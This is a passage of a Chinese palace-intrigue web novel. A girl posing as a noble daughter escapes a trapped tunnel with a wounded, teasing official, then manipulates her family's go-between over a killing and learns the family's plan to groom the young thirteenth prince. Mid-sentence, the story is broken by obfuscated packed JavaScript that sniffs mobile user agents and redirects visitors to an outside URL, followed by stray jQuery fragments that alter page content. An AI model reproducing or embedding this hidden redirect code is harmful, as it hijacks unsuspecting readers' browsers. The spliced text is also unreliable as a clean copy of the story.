箭雨已歇。


    苏叶柒挣开环在腰间的手臂，回身看去。


    就见箭簇没入男人肩头，血色已染红儒白衣料。她心头蓦地一紧，张了张嘴，却终未出声。


    男人却已反手拔箭，随手掷于一旁。


    他看了看肩头不断渗出的殷红血迹，已经苍白的脸懒懒一笑，“还行，至少没毒。”


    “柒娘于杀人一事上，”男人摇着头，自顾靠墙坐下，“驽钝，委实驽钝。”


    苏叶柒霜声一哂，“大人指教得是，下次定不让大人失望。”她踢开脚下乱箭，就朝前走去。


    “哎喂！没良心的，我这伤可是替你挨的。”


    苏叶柒仿若未闻，继续顺着甬道走，既是通往宫外的往生道，那顺着甬道一直走，总能走出去。


    “为防追杀，此间机关遍布，暗箭环伺，柒娘没我保护怕会有危险…”声音渐远，脚下路渐行渐窄。


    他方才救她一命，无论如何，苏叶柒再刺不出第二下。


    此时不趁人之危，独留他在此，若他当真命丧于此处，非她亲手所害，就不算恩将仇报。


    这么做，是不是太过狠毒？苏叶柒的内心全不似她转身的脚步那般决绝。


    可她又能如何呢？在这朱门绣户、钟鸣鼎食的世道，她一个乞女，若不心狠，又如何活到现在。


    绣履蓦地踢到一物，低眉一瞧，竟是半截白骨横陈。视线缓缓上移，一具完整骸骨倚墙而坐，保持着垂首蜷膝的姿态，仿佛只是睡着来。


    苏叶柒一骇，“啊”一声踉跄后退，直到足跟抵上冰冷石壁。


    她不惧死人，却怕极了白骨。


    “咔嗒”！


    骷髅就像要故意吓她，忽地脱落，骨碌碌滚至她裙边，两个黑洞正对着她。


    饶是再沉静的性子，她也不过是只有十七岁的姑娘。


    苏叶柒再装不出冷静自持，转身朝来路奔去。


    幽窄的甬道里，只听得她慌乱的脚步声回荡。


    两侧石壁上青苔湿滑，偶有水滴自顶壁落下，在寂静中发出嗒的一声轻响，惊得她脚踝一颤，趔趄着朝前跌出数步，待勉强稳住身形，却不敢稍停，天水碧的裙袂在昏黄里翻涌，恍若深海里乍起的惊涛。


    “呵，柒娘终究舍不得我。”


    慵懒低沉的声音让她蓦地顿住，一缕青丝自发髻松落，垂于脸侧。


    男人坐在烛火投下的阴影里，微眯着眼看过来，连声啧啧，“你可真不像苏家的女儿。”


    苏叶柒心绪尚未平静，被他这么一说，心头又是一紧。


    她走近男子半蹲下来，低眉垂眸清清清冷冷道：“大人生得一双好眸子。”


    何止不像，她本就不是苏家女儿，那又如何，现在是了。


    “大人还能走吗？”


    男子扯着唇角做了个无奈的表情。她稍作思忖，就做了决定。


    男人看着她解开自己外袍的手，眸底一寒转瞬即逝，笑着道：“苏女史今日真是要占尽我的便宜了。”


    他挪动身子，单肩靠着冰凉石壁，任由她为自己包扎。


    苏叶柒掀开一层层衣料，终于看清这处箭伤，伤口血肉外翻，近乎露骨，伤口竟如此深，难怪他靠坐在此久不起身。


    她沉默片刻，还是道：“我要杀你，你没必要为我挡箭。”


    男人半閤着眼，苏叶柒倾身过来时，他闻到淡淡的香气，不是脂粉香，像是雪山上的幽兰，气息中透着清冷凉意，在呼吸间流入肺腑，让他逐渐混沌的意识清明不少。


    他勾起唇缓声道：“我可舍不得你死。”


    少女的耳尖忽地就烫起来，拿着手帕正沾血的手细细轻颤。


    她年岁浅，所经世事虽多，可男女之间的相处却少，像这般有着一副好容色又擅花言巧语的男人，就更没有了。


    “你我交易尚未达成，柒娘怎敢一死了之。”男人低低笑出声，“你若死了，谁来找彤史录。”


    多好一张脸，怎么就长了张嘴。苏叶柒咬着齿根。


    “大人忍着点。”


    “嗯？”


    “撕拉”一声纱帛裂响，而后，一室死寂。


    直到苏叶柒包扎完，男人才理好衣衫，缓缓扶着墙壁起身，声音暗哑着开口：“柒娘既不杀我，就该温柔些。”


    看着此人额头渗出的冷汗，苏叶柒心情好上不少，清冷嗓音噙着笑，“臣女不知道大人怕疼。”


    男人取下墙上灯盏，借着灯火打量甬道两侧石壁，而后，扭过头弯眸一笑，“石壁上少有箭痕，大约并无旁人触发暗器。”


    苏叶柒在瞬间明白他话中讥讽之意，讪讪转眸瞧着别处。


    “跟紧我。”男人不紧不慢朝前走去。


    苏叶柒跟上他。狭窄空间里只有两道脚步声交错。偶而灯花爆响，便在墙上投出两道倏忽拉长的影子，转瞬又缩回原状。


    这样的沉寂并没有维持太久。


    “柒娘害怕了？”男人偏头看她，“我就勉为其难，陪你聊天吧。”


    苏叶柒抬眸，看到男人被火光照亮的侧脸，“不必”二字正欲出口，男人已经说道：“为何是你？”


    “什么？”苏叶柒不解。


    “苏家枝繁叶茂，闺秀如云，苏炳昌为何点你入宫？”男人脸上挂着漫不经心的笑，只在提到苏炳昌时，眉宇间阴鸷冷漠一晃而过。


    苏叶柒脸上倏然一变，又快速敛了神色，“不过是臣女不甘嫁为人妇平淡一生，入宫为女官，别有大夏女子另一番天地。与伯父何干。”


    男人挑了挑眉稍，没说信，也没说不信。


    正当他要再开口时，缎靴突然踢到硬物，便有东西自他脚下一路滚了出去。待那个东西停下来，苏叶柒才看清楚，是那个白骨骷髅。


    男人便笑了，“原来柒娘不是良心发现，是被这东西吓回来的。”


    苏叶柒僵立原地。是的，她害怕。


    骷髅空洞的眼窝死死盯着她，忽地化作记忆里痨病鬼汩汩渗血的七窍。无人收敛的尸身，就该这样在阴暗处腐烂成白骨么？


    甬道阴风掠过颈后，像极亡魂的吐息。


    “他为何死在这里？”苏叶柒的声音在轻颤，“你不是说这里叫往生道吗。”


    怎么会有人死在生路上。


    男子屈膝半蹲，儒白衣摆垂落于地。他拈起一段胸骨，就着灯火细看片刻，指骨一松，任其随意掉在地上，“肋骨乌青自内由外，中烈毒而亡。”


    中毒啊。这死法比被乱剑砍死好上不少。


    苏叶柒目光掠过地上白骨，又急急转向石壁，递出一方素帕：“烦请大人覆其面目，权当敛葬。”


    男人拂袖起身，好整以暇地瞧着眼前少女，唇色尽失，指尖微颤，分明害怕极了，却还记着给枯骨留份体面。


    “非亲非故，”他忽然轻笑，“我为何要这么做。”


    苏叶柒愕然，怔在原地，素帕悬在半空的手忘了收回。


    男子已提步而去，儒白衣袂掠过身侧时，带起一缕沉檀香风。


    她下意识攥紧帕子，盯着男子的身影看了一会儿，似是做出极难的决定，清冷的眸子里凝出过份的坚毅。


    男人走出十余步，身后仍无动静。他眉峰微蹙，回首望去。


    少女正閤着眸子蹲下身，要把手上帕子盖在骷髅上，因为她并不敢睁眼看，素帕几次飘落，皆偏了分寸。


    又因为紧张，她紧紧抿咬着下唇，有着深厚内力的男人闻到幽闭的甬道内，漫入丝丝猩甜。


    而少女却不愿放弃，似欲睁眸，睫羽却如受惊的蝶，甫一掀起又急急阖上。


    大抵是甬道闭塞，男人一阵烦闷，躁郁之气在心中腾地升起，他没好气说了声“麻烦”，大步过去拿过素帕，盖在了骷髅上，一把抓住少女纤细手腕往前走。


    “等等！”苏叶柒被拽着走出数步。


    男人眉宇尽是不耐，“还有何事！”


    苏叶柒从他手中挣脱，“劳烦大人把头骨放回去，给他一个全尸。”


    男人蓦地沉下面色，眸若针芒冷冷盯着她，少女仰头看过来，瓷白的脸上一双眸子冷冷清清，似冬日浅溪，凉得彻骨，无情得彻底。


    她分明是求人的姿态，却不见半分柔软，像官窑出的青白釉瓷，胎骨薄得透光，碎时却能划出最利的刃。


    奢靡成风的苏家，怎会养出这般女儿。


    男人广袖一拂，烛盏自他掌中掠出，不偏不倚嵌回壁间灯座。苏叶柒眼前登时就暗下几分。


    他冷哼一声，“待着别动。”


    “多谢。”苏叶柒话音未落，已见男人一把扣住骷髅天灵盖，“咔”地按回骨堆，黛眉轻蹙间，终是未言语。


    “哗啦”！


    白骨散落一地。


    苏叶柒怔住，散落成堆的白骨失了人形，又被男人挡去大半，反倒不那么骇人了。


    男人背对着她，看不到神情，半晌无言。


    *


    “到了。”


    男人停在甬道的尽头，面前是一堵石门。他双手按上石门将其缓缓拉开，沉重的石头磨搓声响起，一线天光透进来，随着石门的移动倾泻而入。


    苏叶柒不禁闭了闭眼来适应。


    而男人已冷哼一声先一步走了出去，“没良心的！”


    苏叶柒迟疑着跟上几步，眼前骤然豁亮，青砖黛瓦的街巷扑面而来，挑担货郎的吆喝声与脂粉香交织。她再回头，只见石门合拢后，已化作寻常铺子的后门，落漆门板上还贴着褪色的门神画。


    男人一袭儒白穿行于市井人群中，肩头洇开的血色格外刺目。


    “伤势可要紧？”苏叶柒追上他，“前方该有医馆。”


    他倏地驻足回眸，眼尾弯起新月弧度：“算你良心未泯。”


    苏叶柒唇线微绷，眸色沉了沉，终是将那声不悦咽下：“此番多谢大人相救。”


    男人忽地按住肩头，身形一晃：“啧，这伤倒是会挑时候疼....”


    苏叶柒侧身避过，径自往前走去，连片衣角都没让他沾着。身后传来他低低的笑声，混着市井喧嚣，莫名显出几分似曾相识的烟火气。


    日近正午，骄阳灼人。


    苏叶柒额前已沁出细汗，却不得不加快步子，女史擅自离宫乃是大忌，不能被人觉察。她抿了抿唇，将黏在颈后的碎发拨开。


    街市熙攘，人流如织。


    步履匆匆的少女倏地停在一处汤摊前，铁锅里羊骨熬得雪白，老板铜勺一扬，滚汤冲开碗底葱末，汤星子溅到旁边食客的粗布衣上。食客浑不在意，掰开烧饼往汤里一泡，吃得额头发亮。


    羊骨汤的浓香窜入鼻息，苏叶柒鼻尖微动，喉间不自觉地一滚。


    三岁后跟着痨病鬼，日子就没那么苦了，偶尔还能尝回羊骨汤的味道。最难


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220944|181512||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得的还是羊肉包子，每年的六月，痨病鬼总是给她带回两个羊肉包子。


    男人饶有兴致地打量着少女，“柒娘想喝羊汤？”


    回忆骤断。


    苏叶柒眸光忽闪，唇角勉强牵起一丝弧度：“不，臣女自幼长于江南，未尝沾过腥膻。”话音方落，那笑意便僵在嘴角，投进男人的眸底。


    男人似笑非笑，未再多言。余光忽瞥见檐角停落的黑羽鸟，眸色一沉，转身离去，“柒娘自个儿回去，想必无碍。”


    檐角黑羽鸟倏地振翅，掠过市井人潮，直往窄巷深处飞去。


    巷内，黑衣卫静立如松。鸟儿收翅落其肩上。


    “人死了？！”男人一袭儒白立于暗巷，声音沉冷。


    黑衣卫单膝跪地：“属下无能！人是在掖湖找到的。”


    窄巷泻下的天光，将男人身影拉长，如同悬在黑衣卫腰侧的剑。


    *


    今日休沐。


    依约，绾夫人会入宫探望。


    巳时的日头晒得宫砖发烫，绾夫人仍是踩着腾腾暑气来了。


    苏叶柒站在廊荫里迎她，天水碧间色裙纹丝不动。


    待引至室内，先启了冰鉴里镇着的荷叶茶，青瓷盏外凝着水珠，又推过一碟薄荷绿豆糕，糕上压着宫廷里独有的纹式。


    “五月暑气已盛，辛苦夫人跑这一趟。”苏叶柒唇边笑意恰到好处。


    绾夫人把带来的食盒层层掀开，摆盘精美的小食被摆上桌案。


    “你入宫月余，家主心中挂念得紧。”她笑着把一碟桂花蒸糕往苏叶柒推了推，“这是府里的江南厨子特意做的。”


    苏叶柒眼波掠过满案精巧的江南菜式，忽地唇角一翘：“我想喝羊肉汤。”


    绾夫人执银箸的手蓦地僵在半空，那片蜜渍莲藕掉在案上。


    她急抬眸扫向门外，声音压的很低：“柒娘莫要玩笑，你自幼在钱塘长大，何曾沾过半点膻腥！”


    “夫人可知，先我入宫的几位姐姐如今可好？“苏叶柒拾起案上那片莲藕，小口小口的咬着，唇舌间溢满甜腻。


    绾夫人容色平静，“她们都死了。”


    苏叶柒愣住。


    绾夫人的手搭上苏叶柒的腕子，“柒娘，你是家主第一个用苏家女身份送进来的，你和她们不一样。”


    “嗯。”苏叶柒敛眸，乖巧点头。果然，她又听到绾夫人说：“你素来沉稳，知分寸，又懂审时度势，此次入宫，定能不负家主期望。”


    “可是夫人，”苏叶柒眉目深深埋下去，容色惶恐不安，就连羽睫都在细细颤抖，“我杀人了。”


    哐当！


    银箸掉在案上。


    绾夫人怔愣半晌，艰难回过神来，她看着少女双手捂脸，断断续续的啜泣声被压在喉根深处，隐忍而克制，心上突然就软柔几分。


    “柒娘，你从不是鲁莽之人，这番是为何，一定有原因的，对吗。”绾夫人不察，她的声音比着平日温和不少。


    苏叶柒抬了抬眼，满腹委屈，“是一个侍卫，他酒后失态，欲强迫我…”


    她适时住声。


    果然，绾夫人容色松弛下来，拧眉忿声道：“侍卫？他是偷了熊心豹子胆，敢欺苏家姑娘！”她在苏叶柒的手背上轻轻拍了拍，“无碍，莫乱你心。”


    苏叶柒点点头，紧紧握住绾夫人的手，“终究是我鲁莽，让义父失望了，他日事发，我定不累及苏家。”


    绾夫人展颜，眼角细纹绽开，“莫说傻话，下品人命皆是蝼蚁，死个一二，谁会在意，何况是在宫里。此事不值得惊动家主，你放心便是。”


    “多谢夫人。”


    “此事可还有旁人知晓？”


    苏叶柒微微摇首，眸色沉静如水，并不打算和盘托出。


    绾夫人眉间最后一丝褶皱也舒展开来，露出个松快的笑，“既无目击，区区一个侍卫，算得什么大事。“


    苏叶柒温婉垂首称是，纤密的睫毛在眼下投出顺从的影。


    低眉顺目一番周旋，杀人之事就不再是她一个人的事了。


    示弱藏锋间，局势皆如她所谋。


    窗外蝉鸣似浪，一波盖过一波。


    苏叶柒夹起一片蜜渍莲藕，继续小口小口的吃，“夫人此番入宫，可是义父有指示？”


    绾夫人低笑一声，眉眼间尽是欣慰。


    日光刺目，她起身关了半扇窗，才又坐回位上，指尖蘸着茶水在案上描了个十三。


    “那位小殿下，尚不到开蒙的年纪。”她道。


    这个人选在苏叶柒预料之中。


    今上御极十四春秋，龙体康泰，天颜愈健，正值鼎盛之年，押注成年皇子，不啻于火中取栗，而择幼子，来日方长。


    “柒娘要做这深宫里最耐心的女先生。”绾夫人忽然倾身，附在耳际，“教出最合家主心意的学生。”


    银箸轻搁在瓷碟上，苏叶柒执起青瓷茶壶，给绾夫人的杯盏续上茶水，“不敢让义父失望。”


    绾夫人眼角细纹舒展，染着蔻丹的手指托起茶盏，刚啜一口，又忽而转眸视过来，“还有一事，我今日必须叮嘱于你。”


    “夫人请说。”


    绾夫人的神情格外认真，“至多三五日，九皇子萧衍便要随军返京。”她压低嗓音，“此人行止诡谲，恣意妄为，从不按常理出牌，是个变数，你若在宫中遇见，定要远而避之。”